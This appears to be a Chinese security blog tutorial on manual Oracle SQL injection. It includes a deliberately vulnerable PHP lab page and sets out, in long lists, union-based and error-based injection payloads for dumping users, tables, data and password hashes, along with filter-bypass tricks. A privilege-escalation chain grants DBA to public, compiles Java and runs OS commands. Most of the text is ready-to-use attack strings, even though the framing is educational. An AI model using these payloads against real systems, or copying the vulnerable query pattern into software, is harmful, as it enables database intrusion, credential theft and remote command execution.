前言:
明日复明日,
明日何其多。
既然这么多,
不妨再拖拖。
Mysql和Mssql的注入环境都有了,手注也简单过了一遍,Oracle手注肯定也不能缺席鸭~
环境搭建:
Oracle数据库下载:Oracle Database Software Downloads
图形化管理页面sqldeveloper下载:Oracle SQL Developer 19.2.1 Downloads
安装配置教程网上很多,这里不再简述~
Oracle相关操作(建立数据表):
sqlplus / as sysdba
create tablespace pentest datafile 'E:\app\tester_sws\oradata\orcl\pentest.dbf' size 100m; # 创建数据表空间
create user pentest identified by pentest default tablespace pentest; # 创建用户并指定表空间
grant connect,resource,dba to pentest; # 给予用户dba权限
# 建表:
CREATE TABLE USERS (
IDX NUMBER(10) NOT NULL ,
NAME VARCHAR2(20 BYTE) NULL ,
SEX VARCHAR2(2 BYTE) NULL ,
AGE NUMBER(3) NULL ,
REGDATE DATE NULL
)
LOGGING
NOCOMPRESS
NOCACHE;
# 插入测试数据:
INSERT INTO USERS VALUES ('1', 'xiaoming', 'M', '18', TO_DATE('2019-04-25 19:48:11', 'YYYY-MM-DD HH24:MI:SS'));
INSERT INTO USERS VALUES ('2', 'limao', 'F', '22', TO_DATE('2019-04-25 19:49:08', 'YYYY-MM-DD HH24:MI:SS'));
INSERT INTO USERS VALUES ('3', 'book4yi', 'M', '21', TO_DATE('2020-09-22 20:08:33', 'YYYY-MM-DD HH24:MI:SS'));
ALTER TABLE USERS ADD PRIMARY KEY ("IDX"); # 设置主键
存在SQL注入的php源码:
<?php
$id = $_GET['id'];
///*oci_connect的用户名/密码/ip地址/服务名请自行修改
$con = oci_connect('username','password','192.168.107.151/orcl.tester.local');
if($con){
echo "connected successfully!";
echo "</br>";
echo "Input:".$id."</br>";
if(!isset($_GET['id']) || $_GET['id'] == null)
{
$sql = "select * from USERS";
}
else
{
$sql = "select * from USERS WHERE IDX='".$id."'";
}
echo "<br>".$sql."<br>";
$stmt = oci_parse($con, $sql);
oci_execute($stmt);
$nrows = oci_fetch_all($stmt, $results);
if ($nrows > 0) {
echo "<table border=\"1\">\n";
echo "<tr>\n";
foreach ($results as $key => $val) {
echo "<th>$key</th>\n";
}
echo "</tr>\n";
for ($i = 0; $i < $nrows; $i++) {
echo "<tr>\n";
foreach ($results as $data) {
echo "<td>$data[$i]</td>\n";
}
echo "</tr>\n";
}
echo "</table>\n";
} else {
echo "No data found<br />\n";
}
}
else{
echo "NO";
}
?>
编辑php.ini,将;extension=php_oci8.dll ,;extension=php_oci8_11g.dll开始的;去掉,以打开OCI模块:
相关服务运行状态:
漏洞页面长酱紫:
sqlmap banner信息:
最终环境:
Windows 10 + Oracle(11.2.0.1.0) + sqldeveloper(19.2.1) + phpstudy( php5.5.9 nts)
基础学习:
SQL标准语法:
- dual 是Oracle中的虚表,任何用户均可读取,常用在没有目标表的select 语句中。
- Oracle数据库中使用的语言有三种,分别为:SQL, java, PL/SQL。Oracle和MySQL数据库语法大致相同,结构不太相同。最大的一个特点就是oracle可以调用Java代码
- Oracle中使用
||
拼接字符串:- Oracle中单行注释为: -- ,多行注释为:/**/
- Oracle中limit应该使用虚表中的rownum字段通过where条件判断:
for example:select * from users where rownum = 1- 双引号:Oracle 的双引号用于消除系统关键字。例如,有个表的字段叫sysdate,因为sysdate属于oracle中的关键字,但你要查询这个字段的时候,就需要select "sysdate" from dual;,若用 select 'sysdate' from table_name;查询就相当于 select sysdate from table_name;,而sysdate 用于获得当前时间
- 实例:一个Oracle实例有一系列的后台进程和内存结构组成。一个数据库可以有n个实例。
- 用户:Oracle数据库的基本单位,等同于Mysql中的库。Mysql:当前数据库下有N张表 <=> Oracle:当前用户下有N张表。
- 表空间:表空间是Oracle对物理数据库上相关数据文件(ORA或者DBF文件)的逻辑映射。一个数据库在逻辑上被划分成一到若干个表空间,每个表空间包含了在逻辑上相关的一组结构。每个数据库至少有一个表空间(称之为system表空间)。每个表空间由同一磁盘上的一个或多个文件组成,这些文件叫数据文件(datafile)。一个数据文件只能属于一个表空间。数据文件就是由多个表空间组成的,这些数据文件和相关文件形成一个完整的数据库。当数据库创建时,Oracle 会默认创建五个表空间:SYSTEM、SYSAUX、USERS、UNDOTBS、TEMP
SYSTEM:用于是存储系统表和管理配置等基本信息
SYSAUX:类似于 SYSTEM,主要存放一些系统附加信息,以便减轻 SYSTEM 的空间负担
UNDOTBS:用于事务回退等
TEMP:作为缓存空间减少内存负担
USERS:存储我们定义的表和数据
- 数据文件(dbf,ora):数据文件是数据库的物理存储单位。表空间与数据文件是一对多的关系(用户与表空间也是一对多的关系),而数据文件只能属于一个表空间,删除数据文件需先删除该文件所属的表空间。表的数据,是由用户放入某一个表空间的,而这个表空间会随机把这些表数据放到一个或多个数据文件中。
权限和用户:
- dba:拥有全部特权,是系统最高权限,只有DBA才可以创建数据库结构。
- resource:拥有Resource权限的用户只可以创建实体,不可以创建数据库结构。
- connect:拥有Connect权限的用户只可以登录Oracle,不可以创建实体,不可以创建数据库结构
一般oracle数据库安装成功后会创建几个默认用户sys、system、public等
sys:相当于 Linux 下的 root 用户。为 DBA 角色
system:与 sys 类似,但是相对于 sys 用户,无法修改一些关键的系统数据,这些数据维持着数据库的正常运行。为 DBA 角色。
public:public 代指所有用户(everyone),对其操作会应用到所有用户上(实际上是所有用户都有 public 用户拥有的权限,如果将 DBA 权限给了 public,那么也就意味着所有用户都有了 DBA 权限)
基础语法:
# 查看当前连接用户
select user from dual;
# 创建用户名为sqli密码为pentest的用户
create user sqli identified by pentest;
# 给新创建的用户授权,connect角色:保证该用户可以连接数据库;resource角色:该用户可以使用数据库资源
grant connect,resource to sqli;
# 创建表空间(需要超级管理员权限)
create tablespace pentest
2 datafile '/tmp/pentest.dbf'
3 size 100m
4 autoextend on
5 next 10m;
#举例:
create tablespace pentest datafile 'E:\app\tester_sws\oradata\orcl\pentest.dbf' size 100m;
# 删除表空间
drop tablespace pentest; # 删除表空间后,数据文件依旧存在。
# 添加列
alter table users add email varchar2(40);
# 修改列数据类型
alter table users modify email char(40);
# 修改列的名称
alter table users rename column email to sex;
# 删除列
alter table users drop column sex;
# 插入数据(values字符串不能使用双引号)
insert into users (id,uname,pwd) values(1,'admin','ab71giedas98g1o2dasgd12e98g');
1 row created.
# 修改数据
update users set uname='administrator';
# 删除数据
delete from users where uname='administrator';
数据类型:
- varchar:varchar2 表示一个字符串
- NUMBER:NUMBER(n)表示一个整数,长度是n;
NUMBER(m,n)表示一个小数,总长度为m,小数位数为n,整数位数是m-n
例如: NUMBER(4,2) 表示最大可以存储数字为99.99- DATA:表示日期类型
- CLOB:大对象,表示大文本数据类型,可存4G
- BLOB:大对象,表示二进制数据,可存4G
系统表:
dba_tables : 系统里所有的表的信息,需要DBA权限才能查询
all_tables : 描述当前用户可访问的关系表。(只要对某个表有任何权限,即可在此视图中看到表的相关信息,可以用来查库名和库名下的数据表)
user_tables: 当前用户名下的表的信息
dba_all_tables:DBA 用户所拥有的或有访问权限的对象和表
all_all_tables:描述当前用户可访问的对象表和关系表
user_all_tables:描述当前用户拥有的对象表和关系表
user_tab_columns:描述当前用户拥有的对象表的列名和关系表的列名
all_tab_columns:描述了所有表的列名信息
user_tables 的范围最小,all_tables 看到的东西稍多一些,而 dba_tables 的信息最全
获取数据库信息:
# 服务器版本:
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%'; 或者 SELECT version FROM v$instance;
# 操作系统版本:
SELECT banner FROM v$version where banner like 'TNS%';
# 当前数据库:
SELECT global_name FROM global_name; 或者 SELECT name FROM v$database;或者SELECT instance_name FROM v$instance
#或者
SELECT SYS.DATABASE_NAME FROM DUAL;
# 获取当前用户权限的所有数据库:
SELECT DISTINCT owner, table_name FROM all_tables;
# 表名:
SELECT table_name FROM all_tables;
# 字段名:
SELECT column_name FROM all_tab_columns
获取用户信息:
#当前数据库用户:
SELECT user FROM dual;
#所有数据库用户:
SELECT username FROM all_users ORDER BY username;
#或者
SELECT name FROM sys.user$; -- priv
#所有数据库用户的密码 hash:
SELECT name, password, astatus FROM sys.user$; -- priv, <= 10g
#或者
SELECT name, spare4 FROM sys.user$; -- priv, >= 11g
#当前用户的权限:
SELECT * FROM session_privs;
#所有用户的权限:
SELECT * FROM dba_sys_privs -- priv
#用户角色:
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
#或者
SELECT DISTINCT grantee FROM dba_sys_privs
#列出DBA账户:
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv;
获取服务器相关信息
# 获取主机名和IP
SELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual; 查IP
SELECT UTL_INADDR.get_host_name(‘127.0.0.1’) FROM dual; 查主机名称
SELECT name FROM V$DATAFILE; 获取DB文件路径
联合注入:
注意:Oracle 中空字符串''就是null(也就是说,只有null,没有空字符)
Tips:
Oracle的数据类型是强匹配的,所以在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置,最后查询返回指定的记录时,oracle没有limit函数,要通过'>=0<=1'这种形式来指定
判断注入点:
id=1 #返回正常
id=1' # 返回异常
id=1' and 1=1-- # 返回正常
id=1' and 1<>2-- # 返回正常,确认存在字符型注入
通过拼接符判断注入,是否将参数的值拼接到sql语句中:
id=book'||'4yi
判断列数:
id=book4yi' order by 5--
确认该数据库有5个字段
查找可回显字段:
对每一列的数据类型进行判断(可以使用null代替某些无法快速猜测出数据类型的位置:
先默认每一列均为null,然后从第一列开始依次将null改为字符串
id=-1' union select null,null,null,null,null
获取数据库版本信息:
id=-1' union select null,(SELECT banner FROM v$version WHERE banner LIKE 'Oracle%'),null,null,null from dual--
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT version FROM v$instance;
获取操作系统版本:
id=-1' union select null,(SELECT banner FROM v$version where banner like 'TNS%'),null,null,null from dual--
获取当前数据库用户:
id=-1' union select null,user,null,null,null from dual--
获取当前用户权限:
id=-1' union select null,(select privilege from (select rownum r,privilege from session_privs) where r>0 and r<2),null,null,null from session_privs--
SELECT * FROM session_privs;
SELECT * FROM dba_sys_privs -- priv; 获取所有用户权限
获取所有用户:
# 获取第一行用户,后面以此类推
id=-1' union select null,(select username from (select rownum r,username from all_users) where r>0 and r<2),null,null,null from all_users--
SELECT username FROM all_users ORDER BY username
SELECT name FROM sys.user$; — priv;列出所有用户
获取当前数据库:
id=-1' union select null,global_name,null,null,null from global_name--
SELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL;
获取表名:
# 获取当前数据库表名:
id=-1' union select null,(select table_name from user_tables where rownum=1),null,null,null from dual--
# 获取当前数据库下一个表名:
id=-1' union select null,(select table_name from user_tables where rownum=1 and table_name <> 'BONUS'),null,null,null from dual--
# 获取所有数据库表名
id=-1' union select null,(select table_name from all_tables where rownum=1),null,null,null from dual--
# 查下一个表名,以此类推
id=-1' union select null,(select table_name from all_tables where rownum=1 and table_name <> 'DUAL'),null,null,null from dual--
# 获取当前用户权限的所有数据表:
# 从前100行筛选当前用户对其具备权限的所有数据表,一次只能获得一个表名否则会报错
id=-1' union select null,(select table_name from (select rownum r,table_name,owner from all_tables) where r>0 and r<100 and owner=user),null,null,null from all_tables--
SELECT DISTINCT owner, table_name FROM all_tables;
获取列名:
id=-1' union select null,(select column_name from user_tab_columns where table_name='USERS' and rownum=1),null,null,null from dual--
获取数据:
id=-1' union select null,(select name from users where rownum=1),null,null,null from dual--
报错注入:
由于搭建的环境不存在报错注入,找了个靶机进行学习:
在线靶场地址:http://o1.lab.aqlab.cn:81/?id=1(存在数字型注入)
使用报错注入需要使用类似 1=[报错语句]或者1>[报错语句],通过使用比较运算符进行报错注,类似于Mssql报错注入的方式
利用ctxsys.drithsx.sn()进行报错注入:
- ctxsys.drithsx.snOracle 中用于处理文本,当传入参数类型错误时,会返回异常
查询当前用户:
id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual)) --
查询数据库版本:
id=1 and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1)) --
查询所有数据库名/用户:
id=1 and 1=ctxsys.drithsx.sn(1,(select DISTINCT owner from all_tables where rownum=1)) --
这个主要是用来查其他数据库名或者说其他用户,当前数据库直接通过user就可得知
查询当前用户有权限的数据表:
id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1)) --
id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tab_columns where rownum=1)) --
id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name not in ('NEWS'))) --
id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tab_columns where rownum=1 and table_name not in ('ADMIN'))) --
查询列名:(这里也查询查询列名的数据类型)
id=1 and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where table_name='ADMIN' and rownum=1)) --
# 查询列名的数据类型
id=1 and 1=ctxsys.drithsx.sn(1,(select data_type from user_tab_columns where table_name='ADMIN' and column_name = 'ID' and rownum=1)) --
获取数据:
id=1 and 1=ctxsys.drithsx.sn(1,(select uname upass from ADMIN where rownum=1)) --
利用utl_inaddr.get_host_name()进行报错注入:
- utl_inaddr.get_host_name这种方法在 Oracle 8g,9g,10g中不需要任何权限但是在Oracle 11g以及以后的版本中,官方加强了访问控制权限,所以在11g以后要使用此方法进行报错注入,当前数据库用户必须有网络访问权限
id= 1 and 1=utl_inaddr.get_host_name((select user from dual))--
注意:11g之后,使用此函数的数据库用户需要有访问网络的权限
利用dbms_xdb_version.checkin()进行报错注入:
查询当前用户:
id=1 and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null --
查询数据库版本:
id=1 and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null --
利用bms_xdb_version.makeversioned()进行报错注入:
查询当前用户:
id=1 and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null --
查询数据库版本:
id=1 and (select dbms_xdb_version.makeversioned((select banner from sys.v_$version where rownum=1)) from dual) is not null --
利用dbms_xdb_version.uncheckout()进行报错注入:
id=1 and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --
利用dbms_utility.sqlid_to_sqlhash()进行报错注入:
id=1 and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null --
利用CTXSYS.CTX_REPORT.TOKEN_TYPE进行报错注入:
- CTXSYS.CTX_REPORT.TOKEN_TYPE作用与 ctxsys.drithsx.sn 类似,用于处理文本。确保数据类型与前面语句一致
id=1 and (select CTXSYS.CTX_REPORT.TOKEN_TYPE((select user from dual), '123') from dual) is not null --
利用XMLType进行报错注入:
- XMLType 在调用的时候必须以<:开头,>结尾,即 '<:'||balabala||'>' 或者 chr(60)||balabal||chr(62)。另外需要注意的是如果返回的数据种有空格的话,它会自动截断,导致数据不完整,这种情况下先转为 hex,再导出
id=1 and (select XMLType('<:'||(select user from dual)||'>') from dual) is not null
Bypass:
- 注释符拼接垃圾字符配合换行:
id=-1'+union+select+null,(SELECT+--+asdas/*asdasd*/%0auser+FROM--123456%0adual),null,null,null+from+dual--
调用函数可使用空格换行:
id=1 and 1=ctxsys. drithsx%0a.sn--book4yi%0a(1,(select user from dual)) --
- 空格被过滤:
id=-1'/*!book4yi*/union/*!book4yi*/select/*!book4yi*/null,(select/*!book4yi*/user/*!book4yi*/from/*!book4yi*/dual),null,null,null/*!book4yi*/from/*!book4yi*/dual--
- 单引号被过滤:
可尝试chr函数绕过,形如:
select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual
select decode(substr(user,1,1),chr(83),(select count(*) from all_objects),0) from dual
提权:
前文我们知道oracle是可以调用Java程序的
- GET_DOMAIN_INDEX_TABLES函数注入
影响版本:
Oracle 8.1.7.4, 9.2.0.1 - 9.2.0.7, 10.1.0.2 - 10.1.0.4, 10.2.0.1-10.2.0.2
1、权限提升:
http://localhost:8080/oracleInject/index?username=admin' and (SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS _OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to public'''';END;'';END;--','SYS',0,'1',0)) is not null--
2、创建Java代码执行命令:
http://localhost:8080/oracleInject/index?username=admin' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "Command" as import java.io.*;public class Command{public static String exec(String cmd) throws Exception{String sb="";BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());BufferedReader inBr = new BufferedReader(new InputStreamReader(in));String lineStr;while ((lineStr = inBr.readLine()) != null)sb+=lineStr+"\n";inBr.close();in.close();return sb;}}'''';END;'';END;--','SYS',0,'1',0) from dual) is not null --
3、赋予Java执行权限:
http://localhost:8080/oracleInject/index?username=admin' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual) is not null --
4、创建函数:
http://localhost:8080/oracleInject/index?username=admin' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function cmd(p_cmd in varchar2) return varchar2 as language java name ''''''''Command.exec(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual) is not null --
5、赋予函数执行权限:
http://localhost:8080/oracleInject/index?username=admin' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on cmd to public'''';END;'';END;--','SYS',0,'1',0) from dual) is not null--
6、执行命令:
http://localhost:8080/oracleInject/index?username=admin' and (select sys.cmd('cmd.exe /c whoami') from dual) is not null--
DBMS_JVM_EXP_PERMS绕过JVM执行命令:
详情请参考:
https://www.notsosecure.com/hacking-oracle-11g/
https://www.exploit-db.com/exploits/33601
xml反序列化绕过JVM执行命令 CVE-2018-3004:
如果当前数据库用户具有connect和resource权限,则可以尝试使用反序列化来进行执行命令。Oracle Enterprise Edition 有一个嵌入数据库的Java虚拟机,而Oracle数据库则通过Java存储过程来支持Java的本地执行
--create or replace function get_java_property(prop in varchar2) return varchar2
-- is language java name 'java.lang.System.getProperty(java.lang.String) return java.lang.String';
--/
select get_java_property('java.version') from dual;
Oracle11g 命令执行:
在直连数据库的情况下:
# Windows下 通过关键字host
host whoami
# Linux下 通过关键字符 !
!whoami
详情请参考:Oracle命令执行小结
写在文末:
有一说一,先知社区和微信文章搜索真的特别好用,只要多关注些安全公众号,感谢各位师傅的无私分享!
参考如下:
oracle注入环境搭建:建库+php源码
一篇文章入门Oracle注入
Oracle命令执行小结
Oracle 注入 All in ONE
Oracle SQL注入学习
关于学习Oracle注入
Oracle报错注入总结
网友评论